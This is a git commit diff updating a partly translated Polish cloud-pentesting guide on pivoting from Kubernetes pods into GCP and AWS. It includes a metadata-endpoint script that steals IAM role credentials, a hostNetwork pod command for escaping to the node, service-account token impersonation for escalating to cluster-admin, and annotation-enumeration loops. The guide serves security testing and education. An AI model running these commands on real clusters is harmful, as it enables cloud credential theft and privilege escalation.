Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

This commit is contained in:
Translator
2025-08-28 18:02:43 +00:00
parent 5a25b99668
commit d2f19ab0d3
@@ -4,62 +4,62 @@
## GCP
Jeśli uruchamiasz klaster k8s w GCP, prawdopodobnie chcesz, aby jakaś aplikacja działająca w klastrze miała dostęp do GCP. Istnieją 2 powszechne sposoby, aby to zrobić:
Jeśli uruchamiasz klaster k8s w GCP, prawdopodobnie będziesz chciał, aby jakaś aplikacja działająca w klastrze miała dostęp do GCP. Istnieją 2 powszechne sposoby, aby to osiągnąć:
### Montowanie kluczy GCP-SA jako sekret
### Mounting GCP-SA keys as secret
Powszechnym sposobem na nadanie **dostępu do aplikacji kubernetes do GCP** jest:
Powszechnym sposobem nadania aplikacji w kubernetes dostępu do GCP jest:
- Utworzenie konta usługi GCP
- Przypisanie mu pożądanych uprawnień
- Pobranie klucza json utworzonego SA
- Zamontowanie go jako sekret wewnątrz poda
- Ustawienie zmiennej środowiskowej GOOGLE_APPLICATION_CREDENTIALS wskazującej na ścieżkę, gdzie znajduje się json.
- Create a GCP Service Account
- Przypisz mu żądane uprawnienia
- Pobierz json key utworzonego SA
- Zamontuj go jako secret wewnątrz poda
- Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą ścieżkę, gdzie znajduje się plik json.
> [!WARNING]
> Dlatego, jako **atakujący**, jeśli skompromitujesz kontener wewnątrz poda, powinieneś sprawdzić tę **zmienną** **środowiskową** i **pliki** **json** z poświadczeniami GCP.
> Dlatego, jako **attacker**, jeśli przejmiesz kontener wewnątrz poda, powinieneś sprawdzić tę **env** **variable** oraz **json** **files** z GCP credentials.
### Powiązanie json GSA z sekretem KSA
### Powiązywanie GSA json z KSA secret
Sposobem na nadanie dostępu do GSA klastrowi GKE jest powiązanie ich w ten sposób:
Sposób przyznania dostępu GSA do klastra GKE polega na powiązaniu ich w następujący sposób:
- Utwórz konto usługi Kubernetes w tej samej przestrzeni nazw co twój klaster GKE, używając następującego polecenia:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
Copy codekubectl create serviceaccount <service-account-name>
kubectl create serviceaccount <service-account-name>
```
- Utwórz tajemnicę Kubernetes, która zawiera dane uwierzytelniające konta usługi GCP, do którego chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń `gcloud`, jak pokazano w następującym przykładzie:
- Utwórz Kubernetes Secret zawierający poświadczenia konta serwisowego GCP, któremu chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń `gcloud`, jak pokazano w następującym przykładzie:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Powiąż Kubernetes Secret z kontem serwisowym Kubernetes za pomocą następującego polecenia:
- Powiąż Kubernetes Secret z Kubernetes service account przy użyciu następującego polecenia:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> W **drugim kroku** ustawiono **poświadczenia GSA jako sekret KSA**. Jeśli możesz **odczytać ten sekret** z **wewnątrz** klastra **GKE**, możesz **eskalować do tego konta usługi GCP**.
> W **drugim kroku** ustawiono **poświadczenia GSA jako secret KSA**. Jeśli więc możesz **odczytać ten secret** z **wewnątrz** klastra **GKE**, możesz **eskalować do tego GCP service account**.
### GKE Workload Identity
Dzięki Workload Identity możemy skonfigurować [konto usługi Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/), aby działało jako [konto usługi Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Podsy działające z kontem usługi Kubernetes będą automatycznie uwierzytelniane jako konto usługi Google podczas uzyskiwania dostępu do interfejsów API Google Cloud.
Dzięki Workload Identity możemy skonfigurować a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) tak, aby działał jako a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pody uruchomione z użyciem Kubernetes service account będą automatycznie uwierzytelniać się jako Google service account podczas uzyskiwania dostępu do Google Cloud APIs.
**Pierwsza seria kroków** w celu włączenia tego zachowania to **włączenie Workload Identity w GCP** ([**kroki**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i utworzenie GCP SA, które chcesz, aby k8s udawało.
Pierwszy ciąg kroków potrzebnych do włączenia tego zachowania to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i utworzenie GCP SA, którego k8s ma się podszyć.
- **Włącz Workload Identity** na nowym klastrze
- **Enable Workload Identity** na nowym klastrze
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Utwórz/Zaktualizuj nową pulę węzłów** (klastry Autopilot nie potrzebują tego)
- **Utwórz/Aktualizuj nowy nodepool** (Autopilot clusters nie potrzebują tego)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Utwórz **konto usługi GCP do impersonacji** z K8s z uprawnieniami GCP:
- Utwórz **GCP Service Account to impersonate** z K8s z uprawnieniami GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Połącz** się z **klastrem** i **utwórz** **konto usługi**, które chcesz użyć
- **Połącz się** z **cluster** i **utwórz** **service account**, którego użyjesz
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Połącz GSA z KSA**
- **Powiąż GSA z KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Uruchom **pod** z **KSA** i sprawdź **dostęp** do **GSA:**
- Uruchom **pod** z **KSA** i sprawdź **access** do **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Sprawdź następujące polecenie do uwierzytelnienia w razie potrzeby:
Sprawdź poniższe polecenie, aby się uwierzytelnić w razie potrzeby:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Jako atakujący wewnątrz K8s powinieneś **szukać SAs** z **adnotacją `iam.gke.io/gcp-service-account`**, ponieważ wskazuje to, że SA może uzyskać dostęp do czegoś w GCP. Inną opcją byłoby spróbować wykorzystać każdy KSA w klastrze i sprawdzić, czy ma dostęp.\
> Z GCP zawsze warto enumerować powiązania i wiedzieć **jakie uprawnienia przyznajesz SAs wewnątrz Kubernetes**.
> Jako attacker wewnątrz K8s powinieneś **wyszukać SAs** z adnotacją **`iam.gke.io/gcp-service-account`**, ponieważ wskazuje ona, że SA może mieć dostęp do czegoś w GCP. Inną opcją jest spróbować abuse każdego KSA w klastrze i sprawdzić, czy ma dostęp.\
> Z GCP zawsze warto enumerować bindingi i wiedzieć **który dostęp przyznajesz SAs wewnątrz Kubernetes**.
To jest skrypt do łatwego **iterowania po wszystkich definicjach podów** **szukając** tej **adnotacji**:
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (rola IAM dla Podów) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Jednym (przestarzałym) sposobem na przyznanie ról IAM Podom jest użycie [**Kiam**](https://github.com/uswitch/kiam) lub [**Kube2IAM**](https://github.com/jtblin/kube2iam) **serwera.** W zasadzie musisz uruchomić **daemonset** w swoim klastrze z **rodzajem uprzywilejowanej roli IAM**. Ten daemonset będzie tym, który przyzna dostęp do ról IAM podom, które tego potrzebują.
Jednym z (przestarzałych) sposobów nadawania ról IAM Podom jest użycie [**Kiam**](https://github.com/uswitch/kiam) lub [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Zasadniczo trzeba uruchomić w klastrze **daemonset** z **rodzajem uprzywilejowanej roli IAM**. Ten daemonset będzie tym, który przyzna dostęp do ról IAM podom, które tego potrzebują.
Przede wszystkim musisz skonfigurować **które role mogą być dostępne wewnątrz przestrzeni nazw**, a robisz to za pomocą adnotacji wewnątrz obiektu przestrzeni nazw:
Przede wszystkim musisz skonfigurować **które role mogą być dostępne wewnątrz namespace**, co robisz za pomocą adnotacji w obiekcie namespace:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Gdy przestrzeń nazw jest skonfigurowana z rolami IAM, Pods mogą mieć, możesz **wskazać rolę, którą chcesz w każdej definicji podu za pomocą czegoś takiego jak**:
Gdy namespace jest skonfigurowany z IAM roles, które mogą mieć Pods, możesz **określić rolę, którą chcesz w definicji każdego poda, używając czegoś takiego**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Jako atakujący, jeśli **znajdziesz te adnotacje** w podach lub przestrzeniach nazw lub serwerze kiam/kube2iam działającym (prawdopodobnie w kube-system), możesz **udawać każdą r**olę, która jest już **używana przez pody** i więcej (jeśli masz dostęp do konta AWS, wyenumeruj role).
> Jako atakujący, jeśli **znajdziesz te annotations** w pods lub namespaces lub działa serwer kiam/kube2iam (prawdopodobnie w kube-system) możesz **podszyć się pod każdą r**ole która jest już **używana przez pods** i więcej (jeśli masz dostęp do AWS account wyenumeruj role).
#### Utwórz Pod z rolą IAM
#### Create Pod with IAM Role
> [!NOTE]
> Rola IAM, którą należy wskazać, musi znajdować się w tym samym koncie AWS co rola kiam/kube2iam i ta rola musi mieć do niej dostęp.
> Wskażona IAM role musi być w tym samym AWS account co kiam/kube2iam role i ta role musi mieć do niej dostęp.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### IAM Role dla kont serwisowych K8s przez OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
To jest **zalecany sposób przez AWS**.
1. Przede wszystkim musisz [utworzyć dostawcę OIDC dla klastra](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Następnie tworzysz rolę IAM z uprawnieniami, które będą wymagane przez SA.
3. Utwórz [relację zaufania między rolą IAM a SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (lub przestrzeniami nazw, które dają dostęp do roli wszystkim SA w przestrzeni nazw). _Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę SA_.
4. Na koniec **utwórz SA z adnotacją wskazującą ARN roli**, a podsy działające z tą SA będą miały **dostęp do tokena roli**. **Token** jest **zapisany** w pliku, a ścieżka jest określona w **`AWS_WEB_IDENTITY_TOKEN_FILE`** (domyślnie: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. Po pierwsze musisz [utworzyć dostawcę OIDC dla klastra](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Następnie tworzysz rolę IAM z uprawnieniami, których będzie wymagać SA.
3. Utwórz [relację zaufania między rolą IAM a SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (lub przestrzeniami nazw nadającymi dostęp do roli wszystkim SA w danej przestrzeni). _Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę SA_.
4. Na koniec, **utwórz SA z adnotacją wskazującą ARN roli**, a pody uruchomione z tym SA będą miały **dostęp do tokena roli**. **Token** jest **zapisany** w pliku, a ścieżka określona jest w **`AWS_WEB_IDENTITY_TOKEN_FILE`** (domyślnie: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Aby **uzyskać aws za pomocą tokena** z `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, uruchom:
Aby **uzyskać aws używając token** z `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` uruchom:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Jako atakujący, jeśli możesz enumerować klaster K8s, sprawdź **konta serwisowe z tym adnotacją**, aby **eskalować do AWS**. Aby to zrobić, po prostu **exec/create** **pod** używając jednego z **uprzywilejowanych kont serwisowych IAM** i ukradnij token.
> Jako atakujący, jeśli możesz enumerować K8s cluster, sprawdź czy istnieją **service accounts with that annotation** aby **escalate to AWS**. Aby to zrobić, po prostu **exec/create** **pod** używając jednego z IAM **privileged service accounts** i ukradnij token.
>
> Ponadto, jeśli jesteś wewnątrz poda, sprawdź zmienne środowiskowe takie jak **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> Ponadto, jeśli jesteś wewnątrz pod, sprawdź zmienne środowiskowe takie jak **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Czasami **Polityka Zaufania roli** może być **źle skonfigurowana** i zamiast dawać dostęp AssumeRole do oczekiwanego konta serwisowego, daje go do **wszystkich kont serwisowych**. Dlatego, jeśli masz możliwość zapisania adnotacji na kontrolowanym koncie serwisowym, możesz uzyskać dostęp do roli.
> Czasami **Turst Policy of a role** może być **bad configured** i zamiast przyznać AssumeRole dostęp oczekiwanemu service account, przyznaje go **all the service accounts**. Dlatego jeśli potrafisz zapisać adnotację na kontrolowanym service account, możesz uzyskać dostęp do role.
>
> Sprawdź **następującą stronę po więcej informacji**:
> Check the **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Znajdź Pody i Konta Serwisowe z Rolami IAM w Klastrze
### Znajdź Pods a SAs with IAM Roles in the Cluster
To jest skrypt do łatwego **iterowania po wszystkich podach i definicjach sas**, **szukając** tej **adnotacji**:
To skrypt umożliwiający łatwe **przejście po wszystkich pods and sas** definicjach **w poszukiwaniu** tej **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,26 @@ echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
### Node IAM Role to cluster-admin
Poprzednia sekcja dotyczyła kradzieży ról IAM za pomocą podów, ale należy zauważyć, że **Węzeł** klastra K8s będzie **instancją w chmurze**. Oznacza to, że Węzeł prawdopodobnie **będzie miał nową rolę IAM, którą możesz ukraść** (_zauważ, że zazwyczaj wszystkie węzły klastra K8s będą miały tę samą rolę IAM, więc może nie warto próbować sprawdzać każdego węzła_).
Poprzednia sekcja dotyczyła tego, jak ukraść IAM Roles za pomocą pods, ale pamiętaj, że **Node of the** K8s cluster jest instancją w chmurze. Oznacza to, że Node bardzo prawdopodobnie będzie miał IAM role, które możesz ukraść (_zwykle wszystkie nodes klastra K8s mają tę samą IAM role, więc może nie warto sprawdzać każdego z nich_).
Istnieje jednak ważny wymóg, aby uzyskać dostęp do punktu końcowego metadanych z węzła, musisz być na węźle (sesja ssh?) lub przynajmniej mieć tę samą sieć:
Aby uzyskać dostęp do node metadata endpoint musisz:
- Znajdować się w podzie i mieć metadata endpoint skonfigurowany na co najmniej 2 tcp hops. To najczęstsze błędne skonfigurowanie — zwykle różne pods w klastrze wymagają dostępu do metadata endpoint, aby nie przerywać działania, i wiele firm po prostu zezwala na dostęp do metadata endpoint z wszystkich pods w klastrze.
- Znajdować się w podzie z włączonym `hostNetwork`.
- **Escape to the node** i uzyskać bezpośredni dostęp do metadata endpoint.
(Uwaga: metadata endpoint znajduje się pod adresem 169.254.169.254, jak zawsze).
Aby **escape to the node** możesz użyć następującego polecenia, aby uruchomić pod z włączonym `hostNetwork`:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Kradnij token roli IAM
### Ukradnij IAM Role Token
Wcześniej omówiliśmy, jak **przypisać role IAM do Podów** lub nawet jak **uciec do Węzła, aby ukraść rolę IAM**, którą instancja ma przypisaną.
Wcześniej omówiliśmy, jak **attach IAM Roles to Pods** lub nawet jak **escape to the Node to steal the IAM Role** który został do niej przypisany.
Możesz użyć następującego skryptu, aby **ukraść** swoje nowe, ciężko wypracowane **poświadczenia roli IAM**:
Możesz użyć poniższego skryptu, aby **steal** swoje nowe ciężko zdobyte **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -276,7 +283,20 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
## Odniesienia
### Privesc to cluster-admin
W skrócie: jeśli możliwe jest **uzyskanie dostępu do EKS Node IAM role** z poziomu poda, możliwe jest **skompromitowanie całego kubernetes cluster**.
Więcej informacji znajdziesz w [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Podsumowując, domyślna rola IAM EKS przypisywana EKS nodes ma w klastrze rolę `system:node`. Ta rola jest bardzo interesująca, chociaż ograniczona przez kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Jednakże node zawsze może **wygenerować tokeny dla service accounts** uruchomionych w podach należących do tego node. Zatem, jeśli node uruchamia pod z uprzywilejowanym service account, node może wygenerować token dla tego service account i użyć go do podszycia się pod ten service account, tak jak w:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## Źródła
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)